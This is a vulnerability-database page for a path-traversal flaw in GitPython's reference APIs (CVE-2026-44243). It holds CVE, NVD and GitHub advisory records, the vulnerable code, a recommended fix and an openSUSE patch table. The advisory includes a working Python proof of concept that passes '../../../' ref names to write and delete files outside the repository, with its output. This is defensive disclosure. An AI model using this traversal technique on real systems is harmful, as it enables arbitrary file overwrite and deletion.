Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-44243 (GCVE-0-2026-44243)
Vulnerability from cvelistv5 – Published: 2026-05-07 18:22 – Updated: 2026-05-07 19:12- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | x_refsource_CONFIRM |
| https://github.com/gitpython-developers/GitPython… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
< 3.1.48
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44243",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-07T19:12:42.881131Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-07T19:12:49.856Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.48"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u2019s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-07T18:22:53.622Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
},
{
"name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"
}
],
"source": {
"advisory": "GHSA-7545-fcxq-7j24",
"discovery": "UNKNOWN"
},
"title": "GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44243",
"datePublished": "2026-05-07T18:22:53.622Z",
"dateReserved": "2026-05-05T16:33:55.843Z",
"dateUpdated": "2026-05-07T19:12:49.856Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-44243",
"date": "2026-05-29",
"epss": "0.00138",
"percentile": "0.33539"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-44243\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-07T19:16:02.227\",\"lastModified\":\"2026-05-07T21:12:00.777\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u2019s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"PROOF_OF_CONCEPT\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\",\"baseScore\":7.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.2}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*\",\"versionEndExcluding\":\"3.1.48\",\"matchCriteriaId\":\"9A98BC56-69A1-49DD-A1F8-7C4F981DDE66\"}]}]}],\"references\":[{\"url\":\"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\",\"Release Notes\"]},{\"url\":\"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-44243\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-07T19:12:42.881131Z\"}}}], \"references\": [{\"url\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-07T19:09:51.042Z\"}}], \"cna\": {\"title\": \"GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository\", \"source\": {\"advisory\": \"GHSA-7545-fcxq-7j24\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 7.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"HIGH\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"gitpython-developers\", \"product\": \"GitPython\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.1.48\"}]}], \"references\": [{\"url\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24\", \"name\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48\", \"name\": \"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\\u2019s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-07T18:22:53.622Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-44243\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-07T19:12:49.856Z\", \"dateReserved\": \"2026-05-05T16:33:55.843Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-07T18:22:53.622Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-44243
Vulnerability from fkie_nvd - Published: 2026-05-07 19:16 - Updated: 2026-05-07 21:12| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48 | Patch, Release Notes | |
| security-advisories@github.com | https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24 | Exploit, Mitigation, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24 | Exploit, Mitigation, Vendor Advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| gitpython_project | gitpython | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "9A98BC56-69A1-49DD-A1F8-7C4F981DDE66",
"versionEndExcluding": "3.1.48",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u2019s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48."
}
],
"id": "CVE-2026-44243",
"lastModified": "2026-05-07T21:12:00.777",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "PROOF_OF_CONCEPT",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-05-07T19:16:02.227",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Release Notes"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-7545-FCXQ-7J24
Vulnerability from github – Published: 2026-05-06 19:38 – Updated: 2026-05-08 21:52🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
- Affected:
<= 3.1.46and currentmain(3.1.47in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
Affected Code
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
- Create or overwrite files outside the repository metadata directory
- Delete attacker-chosen files reachable from the process permissions
- Corrupt application state or configuration files
- Cause denial of service by deleting or overwriting important files
Security Impact
- Confidentiality: Low
- Integrity: High
- Availability: High
Who is affected?
- Applications that expose GitPython reference operations to user-controlled input
- Git automation services, repository management backends, CI/CD helpers, and developer platforms
- Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.47"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.48"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44243"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:38:48Z",
"nvd_published_at": "2026-05-07T19:16:02Z",
"severity": "HIGH"
},
"details": "## \ud83e\uddfe Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository\u2019s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## \ud83d\udce6 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## \ud83e\udde0 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n ...\n fpath = self.abspath\n assure_directory_exists(fpath, is_file=True)\n\n lfd = LockedFD(fpath)\n fd = lfd.open(write=True, stream=True)\n ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n full_ref_path = cls.to_full_path(path)\n abs_path = os.path.join(repo.common_dir, full_ref_path)\n if os.path.exists(abs_path):\n os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n new_path = self.to_full_path(new_path)\n new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n ...\n os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## \ud83e\uddea Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir = {repo_dir}\")\nprint(f\"outside_write = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n print(\"[+] outside_write content:\")\n print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir = ...\\gp-ghsa-poc\\repo\noutside_write = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## \ud83d\udca5 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## \ud83d\udee0\ufe0f Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n SymbolicReference._check_ref_name_valid(path)\n\n base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n target = (base / path).resolve()\n\n if base not in [target, *target.parents]:\n raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```",
"id": "GHSA-7545-fcxq-7j24",
"modified": "2026-05-08T21:52:16Z",
"published": "2026-05-06T19:38:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository"
}
OPENSUSE-SU-2026:10758-1
Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-05-12 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
